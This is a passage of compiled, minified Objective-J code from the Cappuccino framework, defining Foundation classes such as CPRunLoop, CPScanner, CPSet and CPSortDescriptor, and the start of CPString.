return {location:parseInt(_14.substr(1,_15-1)),length:parseInt(_14.substring(_15+1,_14.length))};
};
p;11;CPRunLoop.jt;6935;@STATIC;1.0;i;9;CPArray.ji;10;CPObject.ji;10;CPString.jt;6873;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPString.j",YES);
CPDefaultRunLoopMode="CPDefaultRunLoopMode";
_CPRunLoopPerformCompare=function(_1,_2){
return objj_msgSend(_2,"order")-objj_msgSend(_1,"order");
};
var _3=[],_4=5;
var _5=objj_allocateClassPair(CPObject,"_CPRunLoopPerform"),_6=_5.isa;
class_addIvars(_5,[new objj_ivar("_target"),new objj_ivar("_selector"),new objj_ivar("_argument"),new objj_ivar("_order"),new objj_ivar("_runLoopModes"),new objj_ivar("_isValid")]);
objj_registerClassPair(_5);
class_addMethods(_5,[new objj_method(sel_getUid("initWithSelector:target:argument:order:modes:"),function(_7,_8,_9,_a,_b,_c,_d){
with(_7){
_7=objj_msgSendSuper({receiver:_7,super_class:objj_getClass("_CPRunLoopPerform").super_class},"init");
if(_7){
_selector=_9;
_target=_a;
_argument=_b;
_order=_c;
_runLoopModes=_d;
_isValid=YES;
}
return _7;
}
}),new objj_method(sel_getUid("selector"),function(_e,_f){
with(_e){
return _selector;
}
}),new objj_method(sel_getUid("target"),function(_10,_11){
with(_10){
return _target;
}
}),new objj_method(sel_getUid("argument"),function(_12,_13){
with(_12){
return _argument;
}
}),new objj_method(sel_getUid("order"),function(_14,_15){
with(_14){
return _order;
}
}),new objj_method(sel_getUid("fireInMode:"),function(_16,_17,_18){
with(_16){
if(!_isValid){
return YES;
}
if(objj_msgSend(_runLoopModes,"containsObject:",_18)){
objj_msgSend(_target,"performSelector:withObject:",_selector,_argument);
return YES;
}
return NO;
}
}),new objj_method(sel_getUid("invalidate"),function(_19,_1a){
with(_19){
_isValid=NO;
}
})]);
class_addMethods(_6,[new objj_method(sel_getUid("_poolPerform:"),function(_1b,_1c,_1d){
with(_1b){
if(!_1d||_3.length>=_4){
return;
}
_3.push(_1d);
}
}),new objj_method(sel_getUid("performWithSelector:target:argument:order:modes:"),function(_1e,_1f,_20,_21,_22,_23,_24){
with(_1e){
if(_3.length){
var _25=_3.pop();
_25._target=_21;
_25._selector=_20;
_25._argument=_22;
_25._order=_23;
_25._runLoopModes=_24;
_25._isValid=YES;
return _25;
}
return objj_msgSend(objj_msgSend(_1e,"alloc"),"initWithSelector:target:argument:order:modes:",_20,_21,_22,_23,_24);
}
})]);
var _26=0;
var _5=objj_allocateClassPair(CPObject,"CPRunLoop"),_6=_5.isa;
class_addIvars(_5,[new objj_ivar("_runLoopLock"),new objj_ivar("_timersForModes"),new objj_ivar("_nativeTimersForModes"),new objj_ivar("_nextTimerFireDatesForModes"),new objj_ivar("_didAddTimer"),new objj_ivar("_effectiveDate"),new objj_ivar("_orderedPerforms"),new objj_ivar("_runLoopInsuranceTimer")]);
objj_registerClassPair(_5);
class_addMethods(_5,[new objj_method(sel_getUid("init"),function(_27,_28){
with(_27){
_27=objj_msgSendSuper({receiver:_27,super_class:objj_getClass("CPRunLoop").super_class},"init");
if(_27){
_orderedPerforms=[];
_timersForModes={};
_nativeTimersForModes={};
_nextTimerFireDatesForModes={};
}
return _27;
}
}),new objj_method(sel_getUid("performSelector:target:argument:order:modes:"),function(_29,_2a,_2b,_2c,_2d,_2e,_2f){
with(_29){
var _30=objj_msgSend(_CPRunLoopPerform,"performWithSelector:target:argument:order:modes:",_2b,_2c,_2d,_2e,_2f),_31=_orderedPerforms.length;
while(_31--){
if(_2e<objj_msgSend(_orderedPerforms[_31],"order")){
break;
}
}
_orderedPerforms.splice(_31+1,0,_30);
}
}),new objj_method(sel_getUid("cancelPerformSelector:target:argument:"),function(_32,_33,_34,_35,_36){
with(_32){
var _37=_orderedPerforms.length;
while(_37--){
var _38=_orderedPerforms[_37];
if(objj_msgSend(_38,"selector")===_34&&objj_msgSend(_38,"target")==_35&&objj_msgSend(_38,"argument")==_36){
objj_msgSend(_orderedPerforms[_37],"invalidate");
}
}
}
}),new objj_method(sel_getUid("performSelectors"),function(_39,_3a){
with(_39){
objj_msgSend(_39,"limitDateForMode:",CPDefaultRunLoopMode);
}
}),new objj_method(sel_getUid("addTimer:forMode:"),function(_3b,_3c,_3d,_3e){
with(_3b){
if(_timersForModes[_3e]){
_timersForModes[_3e].push(_3d);
}else{
_timersForModes[_3e]=[_3d];
}
_didAddTimer=YES;
if(!_3d._lastNativeRunLoopsForModes){
_3d._lastNativeRunLoopsForModes={};
}
_3d._lastNativeRunLoopsForModes[_3e]=_26;
if(objj_msgSend(CFBundle.environments(),"indexOfObject:",("Browser"))!==CPNotFound){
if(!_runLoopInsuranceTimer){
_runLoopInsuranceTimer=window.setNativeTimeout(function(){
objj_msgSend(_3b,"limitDateForMode:",CPDefaultRunLoopMode);
},0);
}
}
}
}),new objj_method(sel_getUid("limitDateForMode:"),function(_3f,_40,_41){
with(_3f){
if(_runLoopLock){
return;
}
_runLoopLock=YES;
if(objj_msgSend(CFBundle.environments(),"indexOfObject:",("Browser"))!==CPNotFound){
if(_runLoopInsuranceTimer){
window.clearNativeTimeout(_runLoopInsuranceTimer);
_runLoopInsuranceTimer=nil;
}
}
var now=_effectiveDate?objj_msgSend(_effectiveDate,"laterDate:",objj_msgSend(CPDate,"date")):objj_msgSend(CPDate,"date"),_42=nil,_43=_nextTimerFireDatesForModes[_41];
if(_didAddTimer||_43&&_43<=now){
_didAddTimer=NO;
if(_nativeTimersForModes[_41]!==nil){
window.clearNativeTimeout(_nativeTimersForModes[_41]);
_nativeTimersForModes[_41]=nil;
}
var _44=_timersForModes[_41],_45=_44.length;
_timersForModes[_41]=nil;
while(_45--){
var _46=_44[_45];
if(_46._lastNativeRunLoopsForModes[_41]<_26&&_46._isValid&&_46._fireDate<=now){
objj_msgSend(_46,"fire");
}
if(_46._isValid){
_42=(_42===nil)?_46._fireDate:objj_msgSend(_42,"earlierDate:",_46._fireDate);
}else{
_46._lastNativeRunLoopsForModes[_41]=0;
_44.splice(_45,1);
}
}
var _47=_timersForModes[_41];
if(_47&&_47.length){
_45=_47.length;
while(_45--){
var _46=_47[_45];
if(objj_msgSend(_46,"isValid")){
_42=(_42===nil)?_46._fireDate:objj_msgSend(_42,"earlierDate:",_46._fireDate);
}else{
_47.splice(_45,1);
}
}
_timersForModes[_41]=_47.concat(_44);
}else{
_timersForModes[_41]=_44;
}
_nextTimerFireDatesForModes[_41]=_42;
if(_nextTimerFireDatesForModes[_41]!==nil){
_nativeTimersForModes[_41]=window.setNativeTimeout(function(){
_effectiveDate=_42;
_nativeTimersForModes[_41]=nil;
++_26;
objj_msgSend(_3f,"limitDateForMode:",_41);
_effectiveDate=nil;
},MAX(0,objj_msgSend(_42,"timeIntervalSinceNow")*1000));
}
}
var _48=_orderedPerforms,_45=_48.length;
_orderedPerforms=[];
while(_45--){
var _49=_48[_45];
if(objj_msgSend(_49,"fireInMode:",CPDefaultRunLoopMode)){
objj_msgSend(_CPRunLoopPerform,"_poolPerform:",_49);
_48.splice(_45,1);
}
}
if(_orderedPerforms.length){
_orderedPerforms=_orderedPerforms.concat(_48);
_orderedPerforms.sort(_CPRunLoopPerformCompare);
}else{
_orderedPerforms=_48;
}
_runLoopLock=NO;
return _42;
}
})]);
class_addMethods(_6,[new objj_method(sel_getUid("initialize"),function(_4a,_4b){
with(_4a){
if(_4a!=objj_msgSend(CPRunLoop,"class")){
return;
}
CPMainRunLoop=objj_msgSend(objj_msgSend(CPRunLoop,"alloc"),"init");
}
}),new objj_method(sel_getUid("currentRunLoop"),function(_4c,_4d){
with(_4c){
return CPMainRunLoop;
}
}),new objj_method(sel_getUid("mainRunLoop"),function(_4e,_4f){
with(_4e){
return CPMainRunLoop;
}
})]);
p;11;CPScanner.jt;7789;@STATIC;1.0;I;27;Foundation/CPCharacterSet.jt;7738;
objj_executeFile("Foundation/CPCharacterSet.j",NO);
var _1=objj_allocateClassPair(CPObject,"CPScanner"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_string"),new objj_ivar("_locale"),new objj_ivar("_scanLocation"),new objj_ivar("_caseSensitive"),new objj_ivar("_charactersToBeSkipped")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithString:"),function(_3,_4,_5){
with(_3){
if(_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPScanner").super_class},"init")){
_string=objj_msgSend(_5,"copy");
_scanLocation=0;
_charactersToBeSkipped=objj_msgSend(CPCharacterSet,"whitespaceCharacterSet");
_caseSensitive=NO;
}
return _3;
}
}),new objj_method(sel_getUid("copy"),function(_6,_7){
with(_6){
var _8=objj_msgSend(objj_msgSend(CPScanner,"alloc"),"initWithString:",objj_msgSend(_6,"string"));
objj_msgSend(_8,"setCharactersToBeSkipped:",objj_msgSend(_6,"charactersToBeSkipped"));
objj_msgSend(_8,"setCaseSensitive:",objj_msgSend(_6,"caseSensitive"));
objj_msgSend(_8,"setLocale:",objj_msgSend(_6,"locale"));
objj_msgSend(_8,"setScanLocation:",objj_msgSend(_6,"scanLocation"));
return _8;
}
}),new objj_method(sel_getUid("locale"),function(_9,_a){
with(_9){
return _locale;
}
}),new objj_method(sel_getUid("setLocale:"),function(_b,_c,_d){
with(_b){
_locale=_d;
}
}),new objj_method(sel_getUid("setCaseSensitive:"),function(_e,_f,_10){
with(_e){
_caseSensitive=_10;
}
}),new objj_method(sel_getUid("caseSensitive"),function(_11,_12){
with(_11){
return _caseSensitive;
}
}),new objj_method(sel_getUid("string"),function(_13,_14){
with(_13){
return _string;
}
}),new objj_method(sel_getUid("charactersToBeSkipped"),function(_15,_16){
with(_15){
return _charactersToBeSkipped;
}
}),new objj_method(sel_getUid("setCharactersToBeSkipped:"),function(_17,_18,c){
with(_17){
_charactersToBeSkipped=c;
}
}),new objj_method(sel_getUid("isAtEnd"),function(_19,_1a){
with(_19){
return _scanLocation==_string.length;
}
}),new objj_method(sel_getUid("scanLocation"),function(_1b,_1c){
with(_1b){
return _scanLocation;
}
}),new objj_method(sel_getUid("setScanLocation:"),function(_1d,_1e,_1f){
with(_1d){
if(_1f>_string.length){
_1f=_string.length;
}else{
if(_1f<0){
_1f=0;
}
}
_scanLocation=_1f;
}
}),new objj_method(sel_getUid("_performScanWithSelector:withObject:into:"),function(_20,_21,s,arg,ref){
with(_20){
var ret=objj_msgSend(_20,"performSelector:withObject:",s,arg);
if(ref!=nil){
ref(ret);
}
return ret!=NULL;
}
}),new objj_method(sel_getUid("scanCharactersFromSet:intoString:"),function(_22,_23,_24,ref){
with(_22){
return objj_msgSend(_22,"_performScanWithSelector:withObject:into:",sel_getUid("scanCharactersFromSet:"),_24,ref);
}
}),new objj_method(sel_getUid("scanCharactersFromSet:"),function(_25,_26,_27){
with(_25){
return objj_msgSend(_25,"_scanWithSet:breakFlag:",_27,NO);
}
}),new objj_method(sel_getUid("scanUpToCharactersFromSet:intoString:"),function(_28,_29,_2a,ref){
with(_28){
return objj_msgSend(_28,"_performScanWithSelector:withObject:into:",sel_getUid("scanUpToCharactersFromSet:"),_2a,ref);
}
}),new objj_method(sel_getUid("scanUpToCharactersFromSet:"),function(_2b,_2c,_2d){
with(_2b){
return objj_msgSend(_2b,"_scanWithSet:breakFlag:",_2d,YES);
}
}),new objj_method(sel_getUid("_scanWithSet:breakFlag:"),function(_2e,_2f,_30,_31){
with(_2e){
if(objj_msgSend(_2e,"isAtEnd")){
return nil;
}
var _32=objj_msgSend(_2e,"scanLocation");
var str=nil;
while(_32<_string.length){
var c=(_string.charAt(_32));
if(objj_msgSend(_30,"characterIsMember:",c)==_31){
break;
}
if(!objj_msgSend(_charactersToBeSkipped,"characterIsMember:",c)){
if(!str){
str="";
}
str+=c;
}
_32++;
}
if(str){
objj_msgSend(_2e,"setScanLocation:",_32);
}
return str;
}
}),new objj_method(sel_getUid("_movePastCharactersToBeSkipped"),function(_33,_34){
with(_33){
var _35=objj_msgSend(_33,"scanLocation");
var _36=objj_msgSend(_33,"string");
var _37=objj_msgSend(_33,"charactersToBeSkipped");
while(_35<_36.length){
if(!objj_msgSend(_37,"characterIsMember:",_36.charAt(_35))){
break;
}
_35++;
}
objj_msgSend(_33,"setScanLocation:",_35);
}
}),new objj_method(sel_getUid("scanString:intoString:"),function(_38,_39,_3a,ref){
with(_38){
return objj_msgSend(_38,"_performScanWithSelector:withObject:into:",sel_getUid("scanString:"),_3a,ref);
}
}),new objj_method(sel_getUid("scanString:"),function(_3b,_3c,s){
with(_3b){
objj_msgSend(_3b,"_movePastCharactersToBeSkipped");
if(objj_msgSend(_3b,"isAtEnd")){
return nil;
}
var _3d=objj_msgSend(_3b,"string").substr(objj_msgSend(_3b,"scanLocation"),s.length);
if((_caseSensitive&&_3d!=s)||(!_caseSensitive&&(_3d.toLowerCase()!=s.toLowerCase()))){
return nil;
}else{
objj_msgSend(_3b,"setScanLocation:",objj_msgSend(_3b,"scanLocation")+s.length);
return s;
}
}
}),new objj_method(sel_getUid("scanUpToString:intoString:"),function(_3e,_3f,_40,ref){
with(_3e){
return objj_msgSend(_3e,"_performScanWithSelector:withObject:into:",sel_getUid("scanUpToString:"),_40,ref);
}
}),new objj_method(sel_getUid("scanUpToString:"),function(_41,_42,s){
with(_41){
var _43=objj_msgSend(_41,"scanLocation"),str=objj_msgSend(_41,"string");
var _44=nil;
while(_43<str.length){
var _45=str.substr(_43,s.length);
if(_45==s||(!_caseSensitive&&_45.toLowerCase()==s.toLowerCase())){
break;
}
if(!_44){
_44="";
}
_44+=str.charAt(_43);
_43++;
}
if(_44){
objj_msgSend(_41,"setScanLocation:",_43);
}
if(objj_msgSend(_41,"charactersToBeSkipped")){
_44=objj_msgSend(_44,"_stringByTrimmingCharactersInSet:options:",objj_msgSend(_41,"charactersToBeSkipped"),_CPCharacterSetTrimAtBeginning);
}
return _44;
}
}),new objj_method(sel_getUid("scanFloat"),function(_46,_47){
with(_46){
objj_msgSend(_46,"_movePastCharactersToBeSkipped");
var str=objj_msgSend(_46,"string"),_48=objj_msgSend(_46,"scanLocation");
if(objj_msgSend(_46,"isAtEnd")){
return 0;
}
var s=str.substring(_48,str.length);
var f=parseFloat(s);
if(f){
var pos,_49=NO;
var _4a=45;
for(pos=_48;pos<_48+str.length;pos++){
var _4b=str.charCodeAt(pos);
if(_4b==_4a){
if(_49==YES){
break;
}
_49=YES;
}else{
if(_4b<48||_4b>57||(_4b==45&&pos!=_48)){
break;
}
}
}
objj_msgSend(_46,"setScanLocation:",pos);
return f;
}
return nil;
}
}),new objj_method(sel_getUid("scanInt"),function(_4c,_4d){
with(_4c){
objj_msgSend(_4c,"_movePastCharactersToBeSkipped");
var str=objj_msgSend(_4c,"string"),_4e=objj_msgSend(_4c,"scanLocation");
if(objj_msgSend(_4c,"isAtEnd")){
return 0;
}
var s=str.substring(_4e,str.length);
var i=parseInt(s);
if(i){
var pos,_4f=NO;
for(pos=_4e;pos<_4e+str.length;pos++){
var _50=str.charCodeAt(pos);
if(_50==46){
if(_4f==YES){
break;
}
_4f=YES;
}else{
if(_50<48||_50>57||(_50==45&&pos!=_4e)){
break;
}
}
}
objj_msgSend(_4c,"setScanLocation:",pos);
return i;
}
return nil;
}
}),new objj_method(sel_getUid("scanInt:"),function(_51,_52,_53){
with(_51){
return objj_msgSend(_51,"_performScanWithSelector:withObject:into:",sel_getUid("scanInt"),nil,_53);
}
}),new objj_method(sel_getUid("scanFloat:"),function(_54,_55,_56){
with(_54){
return objj_msgSend(_54,"_performScanWithSelector:withObject:into:",sel_getUid("scanFloat"),nil,_56);
}
}),new objj_method(sel_getUid("scanDouble:"),function(_57,_58,_59){
with(_57){
return objj_msgSend(_57,"scanFloat:",_59);
}
}),new objj_method(sel_getUid("description"),function(_5a,_5b){
with(_5a){
return objj_msgSendSuper({receiver:_5a,super_class:objj_getClass("CPScanner").super_class},"description")+" {"+CPStringFromClass(objj_msgSend(_5a,"class"))+", state = '"+(objj_msgSend(_5a,"string").substr(0,_scanLocation)+"{{ SCAN LOCATION ->}}"+objj_msgSend(_5a,"string").substr(_scanLocation))+"'; }";
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("scannerWithString:"),function(_5c,_5d,_5e){
with(_5c){
return objj_msgSend(objj_msgSend(_5c,"alloc"),"initWithString:",_5e);
}
})]);
p;7;CPSet.jt;8014;@STATIC;1.0;i;9;CPArray.ji;14;CPEnumerator.ji;10;CPNumber.ji;10;CPObject.jt;7933;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPEnumerator.j",YES);
objj_executeFile("CPNumber.j",YES);
objj_executeFile("CPObject.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPSet"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_contents"),new objj_ivar("_count")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("init"),function(_3,_4){
with(_3){
if(_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPSet").super_class},"init")){
_count=0;
_contents={};
}
return _3;
}
}),new objj_method(sel_getUid("initWithArray:"),function(_5,_6,_7){
with(_5){
if(_5=objj_msgSend(_5,"init")){
var _8=_7.length;
while(_8--){
objj_msgSend(_5,"addObject:",_7[_8]);
}
}
return _5;
}
}),new objj_method(sel_getUid("initWithObjects:count:"),function(_9,_a,_b,_c){
with(_9){
return objj_msgSend(_9,"initWithArray:",_b.splice(0,_c));
}
}),new objj_method(sel_getUid("initWithObjects:"),function(_d,_e,_f){
with(_d){
if(_d=objj_msgSend(_d,"init")){
var _10=arguments.length,i=2;
for(;i<_10&&(argument=arguments[i])!=nil;++i){
objj_msgSend(_d,"addObject:",argument);
}
}
return _d;
}
}),new objj_method(sel_getUid("initWithSet:"),function(_11,_12,_13){
with(_11){
return objj_msgSend(_11,"initWithSet:copyItems:",_13,NO);
}
}),new objj_method(sel_getUid("initWithSet:copyItems:"),function(_14,_15,_16,_17){
with(_14){
_14=objj_msgSend(_14,"init");
if(!_16){
return _14;
}
var _18=_16._contents,_19;
for(_19 in _18){
if(_18.hasOwnProperty(_19)){
if(_17){
objj_msgSend(_14,"addObject:",objj_msgSend(_18[_19],"copy"));
}else{
objj_msgSend(_14,"addObject:",_18[_19]);
}
}
}
return _14;
}
}),new objj_method(sel_getUid("allObjects"),function(_1a,_1b){
with(_1a){
var _1c=[],_1d;
for(_1d in _contents){
if(_contents.hasOwnProperty(_1d)){
_1c.push(_contents[_1d]);
}
}
return _1c;
}
}),new objj_method(sel_getUid("anyObject"),function(_1e,_1f){
with(_1e){
var _20;
for(_20 in _contents){
if(_contents.hasOwnProperty(_20)){
return _contents[_20];
}
}
return nil;
}
}),new objj_method(sel_getUid("containsObject:"),function(_21,_22,_23){
with(_21){
var obj=_contents[objj_msgSend(_23,"UID")];
if(obj!==undefined&&objj_msgSend(obj,"isEqual:",_23)){
return YES;
}
return NO;
}
}),new objj_method(sel_getUid("count"),function(_24,_25){
with(_24){
return _count;
}
}),new objj_method(sel_getUid("intersectsSet:"),function(_26,_27,_28){
with(_26){
if(_26===_28){
return YES;
}
var _29=objj_msgSend(_28,"allObjects"),_2a=objj_msgSend(_29,"count");
while(_2a--){
if(objj_msgSend(_26,"containsObject:",_29[_2a])){
return YES;
}
}
return NO;
}
}),new objj_method(sel_getUid("isEqualToSet:"),function(_2b,_2c,set){
with(_2b){
return _2b===set||(objj_msgSend(_2b,"count")===objj_msgSend(set,"count")&&objj_msgSend(set,"isSubsetOfSet:",_2b));
}
}),new objj_method(sel_getUid("isSubsetOfSet:"),function(_2d,_2e,set){
with(_2d){
var _2f=objj_msgSend(_2d,"allObjects"),i=0,_30=_2f.length;
for(;i<_30;i++){
if(!objj_msgSend(set,"containsObject:",_2f[i])){
return NO;
}
}
return YES;
}
}),new objj_method(sel_getUid("makeObjectsPerformSelector:"),function(_31,_32,_33){
with(_31){
objj_msgSend(_31,"makeObjectsPerformSelector:withObject:",_33,nil);
}
}),new objj_method(sel_getUid("makeObjectsPerformSelector:withObject:"),function(_34,_35,_36,_37){
with(_34){
var _38=objj_msgSend(_34,"allObjects"),i=0,_39=_38.length;
for(;i<_39;i++){
objj_msgSend(_38[i],"performSelector:withObject:",_36,_37);
}
}
}),new objj_method(sel_getUid("member:"),function(_3a,_3b,_3c){
with(_3a){
if(objj_msgSend(_3a,"containsObject:",_3c)){
return _3c;
}
return nil;
}
}),new objj_method(sel_getUid("objectEnumerator"),function(_3d,_3e){
with(_3d){
return objj_msgSend(objj_msgSend(_3d,"allObjects"),"objectEnumerator");
}
}),new objj_method(sel_getUid("initWithCapacity:"),function(_3f,_40,_41){
with(_3f){
_3f=objj_msgSend(_3f,"init");
return _3f;
}
}),new objj_method(sel_getUid("setSet:"),function(_42,_43,set){
with(_42){
objj_msgSend(_42,"removeAllObjects");
objj_msgSend(_42,"addObjectsFromArray:",objj_msgSend(set,"allObjects"));
}
}),new objj_method(sel_getUid("addObject:"),function(_44,_45,_46){
with(_44){
if(objj_msgSend(_44,"containsObject:",_46)){
return;
}
_contents[objj_msgSend(_46,"UID")]=_46;
_count++;
}
}),new objj_method(sel_getUid("addObjectsFromArray:"),function(_47,_48,_49){
with(_47){
var _4a=objj_msgSend(_49,"count");
while(_4a--){
objj_msgSend(_47,"addObject:",_49[_4a]);
}
}
}),new objj_method(sel_getUid("removeObject:"),function(_4b,_4c,_4d){
with(_4b){
if(objj_msgSend(_4b,"containsObject:",_4d)){
delete _contents[objj_msgSend(_4d,"UID")];
_count--;
}
}
}),new objj_method(sel_getUid("removeObjectsInArray:"),function(_4e,_4f,_50){
with(_4e){
var _51=objj_msgSend(_50,"count");
while(_51--){
objj_msgSend(_4e,"removeObject:",_50[_51]);
}
}
}),new objj_method(sel_getUid("removeAllObjects"),function(_52,_53){
with(_52){
_contents={};
_count=0;
}
}),new objj_method(sel_getUid("intersectSet:"),function(_54,_55,set){
with(_54){
var _56=objj_msgSend(_54,"allObjects"),i=0,_57=_56.length;
for(;i<_57;i++){
if(!objj_msgSend(set,"containsObject:",_56[i])){
objj_msgSend(_54,"removeObject:",_56[i]);
}
}
}
}),new objj_method(sel_getUid("minusSet:"),function(_58,_59,set){
with(_58){
var _5a=objj_msgSend(set,"allObjects"),i=0,_5b=_5a.length;
for(;i<_5b;i++){
if(objj_msgSend(_58,"containsObject:",_5a[i])){
objj_msgSend(_58,"removeObject:",_5a[i]);
}
}
}
}),new objj_method(sel_getUid("unionSet:"),function(_5c,_5d,set){
with(_5c){
var _5e=objj_msgSend(set,"allObjects"),i=0,_5f=_5e.length;
for(;i<_5f;i++){
objj_msgSend(_5c,"addObject:",_5e[i]);
}
}
}),new objj_method(sel_getUid("description"),function(_60,_61){
with(_60){
return "{("+objj_msgSend(_60,"allObjects").join(", ")+")}";
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("set"),function(_62,_63){
with(_62){
return objj_msgSend(objj_msgSend(_62,"alloc"),"init");
}
}),new objj_method(sel_getUid("setWithArray:"),function(_64,_65,_66){
with(_64){
return objj_msgSend(objj_msgSend(_64,"alloc"),"initWithArray:",_66);
}
}),new objj_method(sel_getUid("setWithObject:"),function(_67,_68,_69){
with(_67){
return objj_msgSend(objj_msgSend(_67,"alloc"),"initWithArray:",[_69]);
}
}),new objj_method(sel_getUid("setWithObjects:count:"),function(_6a,_6b,_6c,_6d){
with(_6a){
return objj_msgSend(objj_msgSend(_6a,"alloc"),"initWithObjects:count:",_6c,_6d);
}
}),new objj_method(sel_getUid("setWithObjects:"),function(_6e,_6f,_70){
with(_6e){
var set=objj_msgSend(objj_msgSend(_6e,"alloc"),"init"),_71=arguments.length,i=2;
for(;i<_71&&((argument=arguments[i])!==nil);++i){
objj_msgSend(set,"addObject:",argument);
}
return set;
}
}),new objj_method(sel_getUid("setWithSet:"),function(_72,_73,set){
with(_72){
return objj_msgSend(objj_msgSend(_72,"alloc"),"initWithSet:",set);
}
}),new objj_method(sel_getUid("setWithCapacity:"),function(_74,_75,_76){
with(_74){
return objj_msgSend(objj_msgSend(_74,"alloc"),"initWithCapacity:",_76);
}
})]);
var _1=objj_getClass("CPSet");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPSet\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("copy"),function(_77,_78){
with(_77){
return objj_msgSend(objj_msgSend(CPSet,"alloc"),"initWithSet:",_77);
}
}),new objj_method(sel_getUid("mutableCopy"),function(_79,_7a){
with(_79){
return objj_msgSend(_79,"copy");
}
})]);
var _7b="CPSetObjectsKey";
var _1=objj_getClass("CPSet");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPSet\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCoder:"),function(_7c,_7d,_7e){
with(_7c){
return objj_msgSend(_7c,"initWithArray:",objj_msgSend(_7e,"decodeObjectForKey:",_7b));
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_7f,_80,_81){
with(_7f){
objj_msgSend(_81,"encodeObject:forKey:",objj_msgSend(_7f,"allObjects"),_7b);
}
})]);
var _1=objj_allocateClassPair(CPSet,"CPMutableSet"),_2=_1.isa;
objj_registerClassPair(_1);
p;18;CPSortDescriptor.jt;2966;@STATIC;1.0;i;10;CPObject.ji;15;CPObjJRuntime.jt;2912;
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPObjJRuntime.j",YES);
CPOrderedAscending=-1;
CPOrderedSame=0;
CPOrderedDescending=1;
var _1=objj_allocateClassPair(CPObject,"CPSortDescriptor"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_key"),new objj_ivar("_selector"),new objj_ivar("_ascending")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithKey:ascending:"),function(_3,_4,_5,_6){
with(_3){
return objj_msgSend(_3,"initWithKey:ascending:selector:",_5,_6,sel_getUid("compare:"));
}
}),new objj_method(sel_getUid("initWithKey:ascending:selector:"),function(_7,_8,_9,_a,_b){
with(_7){
_7=objj_msgSendSuper({receiver:_7,super_class:objj_getClass("CPSortDescriptor").super_class},"init");
if(_7){
_key=_9;
_ascending=_a;
_selector=_b;
}
return _7;
}
}),new objj_method(sel_getUid("ascending"),function(_c,_d){
with(_c){
return _ascending;
}
}),new objj_method(sel_getUid("key"),function(_e,_f){
with(_e){
return _key;
}
}),new objj_method(sel_getUid("selector"),function(_10,_11){
with(_10){
return _selector;
}
}),new objj_method(sel_getUid("compareObject:withObject:"),function(_12,_13,_14,_15){
with(_12){
return (_ascending?1:-1)*objj_msgSend(objj_msgSend(_14,"valueForKeyPath:",_key),"performSelector:withObject:",_selector,objj_msgSend(_15,"valueForKeyPath:",_key));
}
}),new objj_method(sel_getUid("reversedSortDescriptor"),function(_16,_17){
with(_16){
return objj_msgSend(objj_msgSend(objj_msgSend(_16,"class"),"alloc"),"initWithKey:ascending:selector:",_key,!_ascending,_selector);
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("sortDescriptorWithKey:ascending:"),function(_18,_19,_1a,_1b){
with(_18){
return objj_msgSend(objj_msgSend(_18,"alloc"),"initWithKey:ascending:",_1a,_1b);
}
}),new objj_method(sel_getUid("sortDescriptorWithKey:ascending:selector:"),function(_1c,_1d,_1e,_1f,_20){
with(_1c){
return objj_msgSend(objj_msgSend(_1c,"alloc"),"initWithKey:ascending:selector:",_1e,_1f,_20);
}
})]);
var _21="CPSortDescriptorKeyKey",_22="CPSortDescriptorAscendingKey",_23="CPSortDescriptorSelectorKey";
var _1=objj_getClass("CPSortDescriptor");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPSortDescriptor\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCoder:"),function(_24,_25,_26){
with(_24){
if(_24=objj_msgSendSuper({receiver:_24,super_class:objj_getClass("CPSortDescriptor").super_class},"init")){
_key=objj_msgSend(_26,"decodeObjectForKey:",_21);
_ascending=objj_msgSend(_26,"decodeBoolForKey:",_22);
_selector=CPSelectorFromString(objj_msgSend(_26,"decodeObjectForKey:",_23));
}
return _24;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_27,_28,_29){
with(_27){
objj_msgSend(_29,"encodeObject:forKey:",_key,_21);
objj_msgSend(_29,"encodeBool:forKey:",_ascending,_22);
objj_msgSend(_29,"encodeObject:forKey:",CPStringFromSelector(_selector),_23);
}
})]);
p;10;CPString.jt;11356;@STATIC;1.0;i;13;CPException.ji;10;CPObject.ji;18;CPSortDescriptor.ji;9;CPValue.jt;11267;
objj_executeFile("CPException.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPSortDescriptor.j",YES);
objj_executeFile("CPValue.j",YES);
CPCaseInsensitiveSearch=1;
CPLiteralSearch=2;
CPBackwardsSearch=4;
CPAnchoredSearch=8;
CPNumericSearch=64;
CPDiacriticInsensitiveSearch=128;
var _1=new CFMutableDictionary();
var _2=["/",".","*","+","?","|","$","^","(",")","[","]","{","}","\\"],_3=new RegExp("(\\"+_2.join("|\\")+")","g"),_4=new RegExp("(^\\s+|\\s+$)","g");
var _5=objj_allocateClassPair(CPObject,"CPString"),_6=_5.isa;
objj_registerClassPair(_5);
class_addMethods(_5,[new objj_method(sel_getUid("initWithString:"),function(_7,_8,_9){
with(_7){
return String(_9);
}
}),new objj_method(sel_getUid("initWithFormat:"),function(_a,_b,_c){
with(_a){
if(!_c){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"initWithFormat: the format can't be 'nil'");
}
_a=ObjectiveJ.sprintf.apply(this,Array.prototype.slice.call(arguments,2));
return _a;
}
}),new objj_method(sel_getUid("description"),function(_d,_e){
with(_d){
return _d;
}
